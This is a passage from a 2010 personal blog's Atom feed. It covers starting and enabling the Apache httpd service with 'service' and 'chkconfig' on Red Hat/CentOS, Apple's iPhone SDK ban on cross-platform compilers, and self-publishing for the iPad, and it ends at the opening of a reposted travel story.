&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;div style="padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;$ vi /etc/httpd/conf/httpd.conf
&lt;/pre&gt;&lt;/div&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;Another common directory convention
is /var for variable files. Here are files whose content is expected
to continually change during normal operation of the system. This is
of note in regards to Apache and MySQL  since /var is where database
(/var/db) or website file hierarchies reside (/var/www).&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;a href="editor-content.html?cs=utf-8" name="executing"&gt;Executing a Service&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Last, but not least is starting these
various services. For that there is the &lt;i&gt;service&lt;/i&gt; command which
runs a standardized script created for controlling the operation of
the software in question. Thus to start the httpd web service the
command would be"&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;div style="padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;$ service httpd start
Starting httpd:                                            [  OK  ]
&lt;/pre&gt;&lt;/div&gt;

&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Of course starting a service manually
and having it automatically start when the system boots are two
different realities. The &lt;i&gt;chkconfig&lt;/i&gt; command provides a simple
command-line tool for denoting if a service is to start at boot time
or not. To turn on the Apache httpd service at boot:&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;div style="padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;$ chkconfig --add httpd
$ chkconfig httpd on
&lt;/pre&gt;&lt;/div&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;As noted in its man page, &lt;i&gt;chkconfig&lt;/i&gt;
has five distinct functions: adding new services for management,
removing services from management, listing  the  current  startup
information  for  services,  changing  the startup information for
services, and checking the startup state of a particular service. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Thus if &lt;i&gt;service&lt;/i&gt; is akin to &lt;i&gt;rpm&lt;/i&gt;&lt;span style="font-style: normal;"&gt;
form manually controlling a specific service via its control script,
than &lt;/span&gt;&lt;i&gt;chkconfig&lt;/i&gt;&lt;span style="font-style: normal;"&gt; is akin
to &lt;/span&gt;&lt;i&gt;yum&lt;/i&gt;&lt;span style="font-style: normal;"&gt; for managing a
group of services, controlling the when and how of availability.&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in; font-style: normal;"&gt;&lt;br /&gt;
&lt;/p&gt;

&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-style: normal;"&gt;The
&lt;i&gt;--add&lt;/i&gt; argument for &lt;/span&gt;&lt;i&gt;chkconfig&lt;/i&gt;&lt;span style="font-style: normal;"&gt;
adds a new  service  for  management. Equally, the &lt;i&gt;--del &lt;/i&gt;will remove a service from management and the &lt;i&gt;--list&lt;/i&gt; will list all of the
services which &lt;/span&gt;&lt;i&gt;chkconfig&lt;/i&gt;&lt;span style="font-style: normal;"&gt;
knows about or, if a name is specified, information only about the
named service.&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-style: normal;"&gt;One of
the key concepts in regards to services, such as a web or database
service on a Unix-centric system, is the concept of a runlevel.  &lt;/span&gt;In
standard practice, runlevel relates to the state the system is in and
what is enabled for execution. Runlevel zero, for example, halts all
execution of any running service, an denotes a halted, off, system. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Runlevels 1 to 5 differ in terms of
which drives are mounted and which services, such as a web server 
are started. Default runlevels are typically 3, 4, or 5. Lower run
levels (1) are useful for maintenance or emergency repairs, since they
usually don't offer any network services and can help in eliminating
sources of trouble.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;This is important to note since in
managing a service, &lt;i&gt;chkconfig&lt;/i&gt;&lt;span style="font-style: normal;"&gt;
needs to know at which runlevels a service should run. Moreover, it
is important to note what runlevels other depended services are
enabled for. That is, if runlevel 1, which is single-user state akin to a "safe mode" is configured to not run any networking
service, it makes little sense to enable the Apache HTTP server to
execute at this runlevel.&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;span style="font-style: normal;"&gt;&lt;a href="editor-content.html?cs=utf-8" name="more"&gt; More Resources&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in; font-weight: normal;"&gt;&lt;span style="font-style: normal;"&gt;Just
as other how-tos are entry points into getting going, this little
what's happening is a quick "step beyond" the how to's last step,
moving one towards understand what is going on "behind the scenes."
Hopefully this next step  provides a helpful point of moving into a
greater understanding and into the grand world of system
administration.&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in; font-weight: normal;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in; font-weight: normal;"&gt;&lt;span style="font-style: normal;"&gt;To
that end here is a quick list of books on subject of system
administration for Unix systems such as Red Hat Enterprise Linux:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: normal;"&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
&lt;iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&amp;amp;bc1=000000&amp;amp;IS2=1&amp;amp;bg1=FFFFFF&amp;amp;fc1=000000&amp;amp;lc1=08620B&amp;amp;t=weinsteinorg-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;m=amazon&amp;amp;f=ifr&amp;amp;md=10FE9736YVPPT7A0FBG2&amp;amp;asins=0764579940" style="width: 120px; height: 240px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;

&lt;iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&amp;amp;bc1=000000&amp;amp;IS2=1&amp;amp;bg1=FFFFFF&amp;amp;fc1=000000&amp;amp;lc1=08620B&amp;amp;t=weinsteinorg-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;m=amazon&amp;amp;f=ifr&amp;amp;md=10FE9736YVPPT7A0FBG2&amp;amp;asins=0596100299" style="width: 120px; height: 240px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;
&lt;iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&amp;amp;bc1=000000&amp;amp;IS2=1&amp;amp;bg1=FFFFFF&amp;amp;fc1=000000&amp;amp;lc1=08620B&amp;amp;t=weinsteinorg-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;m=amazon&amp;amp;f=ifr&amp;amp;md=10FE9736YVPPT7A0FBG2&amp;amp;asins=0596003439" style="width: 120px; height: 240px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;

&lt;iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&amp;amp;bc1=000000&amp;amp;IS2=1&amp;amp;bg1=FFFFFF&amp;amp;fc1=000000&amp;amp;lc1=08620B&amp;amp;t=weinsteinorg-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;m=amazon&amp;amp;f=ifr&amp;amp;md=10FE9736YVPPT7A0FBG2&amp;amp;asins=0071545883" style="width: 120px; height: 240px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;


&lt;/p&gt;
&lt;p style="margin-bottom: 0in; font-weight: normal;"&gt;&lt;span style="font-style: normal;"&gt;&lt;br /&gt; &lt;/span&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;div id="sdfootnote1"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote1sym" href="#sdfootnote1anc"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote1sym" href="#sdfootnote1anc"&gt;1&lt;/a&gt; More
	on using vi:
	&lt;a href="http://heather.cs.ucdavis.edu/%7Ematloff/UnixAndC/Editors/ViIntro.html"&gt;http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Editors/ViIntro.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote2"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote2sym" href="#sdfootnote2anc"&gt;2&lt;/a&gt; Remember
	one of the major tenets at the heart of GNU/Linux is the ability to
	have access to view and modify the source materials.&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote3"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote3sym" href="#sdfootnote3anc"&gt;3&lt;/a&gt; More
	about the rpm naming convention can be found here:
	&lt;a href="http://en.wikipedia.org/wiki/RPM_Package_Manager#Package_label"&gt;http://en.wikipedia.org/wiki/RPM_Package_Manager#Package_label&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote4"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote4sym" href="#sdfootnote4anc"&gt;4&lt;/a&gt; Often
	refereed to as RPM Hell&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote5"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote5sym" href="#sdfootnote5anc"&gt;5&lt;/a&gt; A
	trained eye will note that this command was actually executed on a
	CentOS system. CentOS, as noted on &lt;a href="http://www.centos.org/"&gt;their site&lt;/a&gt;, is a "CentOS is an
	Enterprise-class Linux Distribution derived from sources freely
	provided to the public by a prominent North American Enterprise
	Linux vendor." Can you guess which one? 
	&lt;/p&gt;
&lt;/div&gt;


&lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;img style="border: medium none ; float: right;" class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=79561c1a-ea4f-4cd1-84f1-5c6f336b3800" /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/T7zG_ZMKo7Yi_1aiEvczz1jcpGI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T7zG_ZMKo7Yi_1aiEvczz1jcpGI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/T7zG_ZMKo7Yi_1aiEvczz1jcpGI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T7zG_ZMKo7Yi_1aiEvczz1jcpGI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/xifGQ1riEvk" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/05/a-step-beyond-a-red-hat-enterprise-linux-apache-mysql-php-how-to.html</feedburner:origLink></entry>

<entry>
    <title>This is About More Developers for the Mac</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/ARGWcV4WumM/it-is-about-more-developers-for-the-mac.html" />
    <id>tag:pdw.weinstein.org,2010://2.223</id>

    <published>2010-04-09T15:39:27Z</published>
    <updated>2010-04-09T13:17:57Z</updated>

    <summary> In the wake of Apple's press event announcing the latest software update to its mobile platform due out this summer, John Gruber and other suggests that, with an interesting modification to the developer agreement, Apple is trying to increase...</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Mac" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="iPhone" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="apple" label="Apple" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ipad" label="iPad" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="iphone" label="iPhone" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="reaction" label="Reaction" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="technology" label="Technology" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        
&lt;p style="margin-bottom: 0in"&gt;In the wake of Apple's press event
announcing the latest &lt;a href="http://www.appleinsider.com/articles/10/04/08/apple_iphone_os_4_0_to_introduce_multitasking_100_other_features.html"&gt;software update to its mobile platform due out
this summer&lt;/a&gt;, &lt;a href="http://daringfireball.net/"&gt;John Gruber&lt;/a&gt; and &lt;a href="http://news.ycombinator.com/item?id=1250946"&gt;other suggests&lt;/a&gt; that, with an interesting
modification to the developer agreement, Apple is trying to increase
the quality of applications created for their growing family of mobile
multi-touch devices.&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;Specifically the new agreement, which
developers must accept in order to use the latest development kit,
&lt;a href="http://www.appleinsider.com/articles/10/04/08/apples_iphone_4_sdk_license_bans_flash_java_mono_apps.html"&gt;bans the use of cross-platform compilers&lt;/a&gt; in creating applications for
the iPhone/iPad/iPod touch.&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;That is to develop software for the
upcoming iPhone OS release a developer has one of two options; use
Apple's development environment, complete with compiler and
programming interfaces to develop an application specifically
designed for the iPhone/iPad/iPod or target multiple platforms by building a
web app that can also run in the web browser, Safari.&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;However, the restriction goes, you
cannot develop using, for example, Adobe's pending &lt;a href="http://labs.adobe.com/technologies/flashcs5/"&gt;Flash update&lt;/a&gt; 
which is designed to enable the building of an application in one
environment, Flash, and in turn, recompiled for multiple, "less
powerful" platforms such as the Android or Windows smartphones.&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;Yet, as other commentators have noted,
Apple already reserves the right to review apps submitted to their
iTunes store and that hasn't stopped the store from getting bogged down
with lots of crappy apps. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;Thus, their logic goes, Apple is really
trying to lock in developers. If you want to develop for the iPhone,
which everyone has, you can only use our toolkit. Oh and you have to
pay us $99 to get a copy of the developer kit. Oh and the software
developer kit only runs on a Mac, which only we make, so that will be
another $1,000.&amp;nbsp;Mahhhaaaa, we're so evil....&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;But one &lt;a href="http://news.ycombinator.com/"&gt;Hacker News&lt;/a&gt; commentator, 	&lt;a href="http://news.ycombinator.com/threads?id=thought_alarm"&gt;thought_alarm&lt;/a&gt;, I think is on
the right track noting, "Few developers have any experience with
Cocoa or Objective-C." 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;Exactly!&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;Compared to the number of Windows
developers or web developers out there, few have developed using
&lt;a href="http://en.wikipedia.org/wiki/Cocoa_(API)"&gt;Cocoa&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/Objective-C"&gt;Objective-C&lt;/a&gt;&amp;nbsp;given the Mac's market share
compared to other computers. Few individuals or companies have looked
to develop Mac-only or Mac specific applications.&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;But now the iPhone and iPad are the
toast of the town. Everyone wants to get in while the getting is
good. Naturally, Apple wants to capitalize on this. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;Now, it just so happens that &lt;a href="http://en.wikipedia.org/wiki/Xcode"&gt;Xcode&lt;/a&gt;, the
software development kit for the iPhone, is the exact same
development kit Apple provides to Mac developers. Objective-C the
exact same language. &lt;a class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/Cocoa_Touch" title="Cocoa Touch" rel="ctag:means wikipedia" xmlns:ctag="http://commontag.org/ns#" typeof="ctag:Tag" resource="http://rdf.freebase.com/ns/en/cocoa_touch" property="ctag:label"&gt;Cocoa Touch&lt;/a&gt;, a variation of the Cocoa framework
for the Mac. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;All these new iPhone developers have
everything they need to develop for the Mac.&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;Apple isn't looking to lock in these iPhone developers, instead Apple is looking to open up the
number of Apple developers out in the wild, be it iPhone, iPad, iPod
or Mac. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;See, a few years ago, when the iPod was
growing in popularity, there was a lot of talk about the "&lt;a href="http://www.macobserver.com/tmo/article/Analysts_Agree_Apples_Halo_Effect_Might_Be_the_Real_Deal/"&gt;halo
effect&lt;/a&gt;." The idea that consumers, who for whatever reason had
ignored Apple and the Mac, but now wanted an iPod, would in turn take a second look at Apple when looking for their next computer
purchase.&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;By all accounts the halo effect is
real. While the PC industry has been in the dumps during the recent
recession, &lt;a href="http://www.appleinsider.com/articles/10/01/25/apple_profits_soar_50_on_record_sales_of_3_36_million_macs.html"&gt;Apple has sold record numbers of Macs&lt;/a&gt;. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;But the Mac still doesn't command the
market to demand individual developer's attention. The iPhone,
however does.&amp;nbsp;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;By getting developers to use only Apple's software
development kit for the iPhone, Apple gets a&amp;nbsp;chance to say "See how
easy that was to develop for the iPhone? Now just imagine what you
could do for the Mac! You already have everything you need to write a
killer Mac application. Go on, we dare you!"&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;The only other option, developing a web
application, still works overall in Apple's favor. Since the framework for
Safari on the iPhone, &lt;a href="http://webkit.org/"&gt;Webkit&lt;/a&gt;, is the same that drives the Safari web
browser on the Mac.&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in"&gt;In other words, Apple is looking to grab the attention of developers, who for whatever reason had ignored Apple and the Mac, but now want to develop for the iPhone/iPad/iPod, and in turn might take a second look at the Mac when looking at their next software project.&lt;/p&gt;

&lt;div class="zemanta-pixie" style="margin-top:10px;height:15px"&gt;&lt;img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=584486c3-a924-4cc4-8417-2f133adc24c6" style="border:none;float:right" /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2DO3NXBpvqV5OHtwRbya9BeqNYY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2DO3NXBpvqV5OHtwRbya9BeqNYY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2DO3NXBpvqV5OHtwRbya9BeqNYY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2DO3NXBpvqV5OHtwRbya9BeqNYY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/ARGWcV4WumM" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/04/it-is-about-more-developers-for-the-mac.html</feedburner:origLink></entry>

<entry>
    <title>Self-Publishing and Apple's iPad</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/yUBQWcxw6Uw/self-publishing-and-apples-ipad.html" />
    <id>tag:pdw.weinstein.org,2010://2.222</id>

    <published>2010-04-03T14:39:55Z</published>
    <updated>2010-04-03T14:02:52Z</updated>

    <summary>Apple's new iPad is supposed to be a boon for print media, but will it leave self-publishers out in the cold?</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="apple" label="Apple" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ipad" label="iPad" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="technorati" label="Technorati" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p align="right"&gt; First published: &lt;a href="http://technorati.com/technology/article/self-publishing-and-apples-ipad/"&gt;2th of April 2010&lt;/a&gt; for &lt;a href="http://www.technorati.com/"&gt;Technorati&lt;/a&gt;&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;Since before Steve Jobs revealed the existence of the iPad to the general public, there were rumors about &lt;a href="http://www.appleinsider.com/articles/09/10/27/apple_pitches_tablet_as_e_reader_to_australian_media_report.html"&gt;a tablet-like device from Apple that would revolutionize the print and newspaper&lt;/a&gt; businesses just as the iPod did to the music industry.&lt;/p&gt;

&lt;p&gt;Sure enough, back in January, Apple was joined by a number of high profile book publishers, including HarperCollins, Penguin, Simon &amp;amp; Schuster, Macmillan and Hachette Book Group &lt;a href="http://pdw.weinstein.org/2010/01/apples-ipad-tablet-includes-cool-new-apps-and-features.html"&gt;with the announcement of iBooks&lt;/a&gt;, an iPad specific app for reading books. Jobs demonstrated the application, which features a virtual bookshelf containing the user's personal collection of books noting "If you've used iTunes or the App Store, you're already familiar with this."&lt;/p&gt;
&lt;p&gt;But what about self-publishers and bloggers? &lt;/p&gt;
&lt;p&gt;Consider that in the iPod world, many indie artist are on near equal footing with major record labels. In fact, Apple even provides an "&lt;a href="http://www.prefixmag.com/news/itunes-launches-indie-store/26385/"&gt;Indie Spotlight&lt;/a&gt;" section in the iTunes Music Store, which only features music from independent artists.&lt;/p&gt;

&lt;p&gt;Or that the iPod prompted the term "podcasting" which, while not specifically meaning to broadcast via iTunes to individual iPods, is most certainly enhanced by the existence of the two and a simple way for many beginning self-broadcasters to get noticed.&lt;/p&gt;
&lt;p&gt;So then what does the iPad provide for those who focus on symbols instead of sounds?&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.smashwords.com/"&gt;Smashwords&lt;/a&gt;, a site that enables authors to publish their own eBooks, &lt;a href="http://digital.venturebeat.com/2010/03/28/self-published-electronic-books-to-make-it-to-apples-ipad/"&gt;recently notified its authors&lt;/a&gt; via email that it has signed a distribution deal with Apple which allows writers to offer their works for sale to iPad owners.&lt;/p&gt;
&lt;p&gt;Smashwords already publishes eBooks for independent authors in nine formats and can distribute to a number of sites including Barnes &amp;amp; Noble and Kobo. So inking a publishing deal with Apple certainly makes sense and no doubt signals the beginning of numerous other independent and self-publishing services targeting the iPad's iBookstore.&lt;/p&gt;

&lt;p&gt;Meanwhile, for bloggers and readers of various news feeds, &lt;a href="http://www.glasshouseapps.com/"&gt;Glasshouse Apps&lt;/a&gt; has developed what &lt;a href="http://thenextweb.com/"&gt;the Next Web&lt;/a&gt; is calling a "&lt;a href="http://thenextweb.com/apple/2010/04/01/early-edition-gorgeous-ipad-rss-reader-default/"&gt;Gorgeous iPad RSS Reader&lt;/a&gt;." The app, called The Early Edition, arranges stories on the screen just like newspaper, but allows the user to customize which news sources to pull from and where to place individual stories.&lt;/p&gt;
&lt;p&gt;These two early entries provide an interesting glimpse into what may indeed be not just the revolution of the print and distribution business, but an evolution of the writer as well. &lt;/p&gt;
&lt;p&gt;What do you think? Will the iPad be a boon to independent and mainstream alike?&lt;/p&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Z1zNFRDKSyMdhKwmvofxd-pFFiw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Z1zNFRDKSyMdhKwmvofxd-pFFiw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Z1zNFRDKSyMdhKwmvofxd-pFFiw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Z1zNFRDKSyMdhKwmvofxd-pFFiw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/yUBQWcxw6Uw" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/04/self-publishing-and-apples-ipad.html</feedburner:origLink></entry>

<entry>
    <title>24 Hours in LA LA Land</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/WCUHsvvSN_M/24-hours-in-la-la-land.html" />
    <id>tag:pdw.weinstein.org,2010://2.215</id>

    <published>2010-03-22T19:08:37Z</published>
    <updated>2010-03-20T13:47:37Z</updated>

    <summary>A little short story about a road trip I took to Los Angeles.</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
    <category term="travel" label="Travel" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="webzine" label="Webzine" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p&gt;&lt;strong&gt;Preface&lt;/strong&gt;&lt;br /&gt;
Ten years ago, while I was living in the San Francisco Bay Area, I was invited to talk with a class of students at the University of Southern California about self-publishing online. After the little road trip I naturally wrote and posted a short travel story about it entitled 24 Hours in LA LA Land.
&lt;br /&gt;&lt;br /&gt;
Looking back I would be hard pressed to say the following is revolutionary or fascinating. But I am reposting it, with some minor edits, because it represents the beginning of a change. Prior to this point a lot of my personal time floated around the idea of webzines - something akin to &lt;a href="http://en.wikipedia.org/wiki/Fanzine"&gt;fanzines&lt;/a&gt;, but web-based - and the webzine community built around the &lt;a href="http://en.wikipedia.org/wiki/Online_magazine#Conferences"&gt;conferences&lt;/a&gt; in San Francisco. 
&lt;br /&gt;&lt;br /&gt;
But of course now a days more self-publishing revolves around blogging. The content of blogs of course focuses not on a particular cultural phenomenon, but on commentary, descriptions of events or broad interests, be it personal, professional or both. That of course is exactly what the following is, in a nutshell.&lt;/p&gt;
&lt;br /&gt;&lt;p align="center"&gt;&lt;a href="http://pdw.weinstein.org/files/la_la_land_layout.png" rel="milkbox:gall1" title="First Posting, In All Its CSS Glory"&gt;&lt;img src="http://pdw.weinstein.org/files/la_la_land_layout.png" height="458" width="320" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;For the full original experience, check out the image of the original page, in all of its "my first pure-&lt;a href="http://en.wikipedia.org/wiki/Css"&gt;CSS&lt;/a&gt; page glory." Granted the page layout doesn't translate perfectly to today's larger resolution screens, which is why the content looks to be so left-justified. But I think even today one gets the intent I was experimenting with design-wise; posting both my original story as well as Josh's side-by-side for a more complete picture of the excursion. 
&lt;br /&gt;&lt;br /&gt;
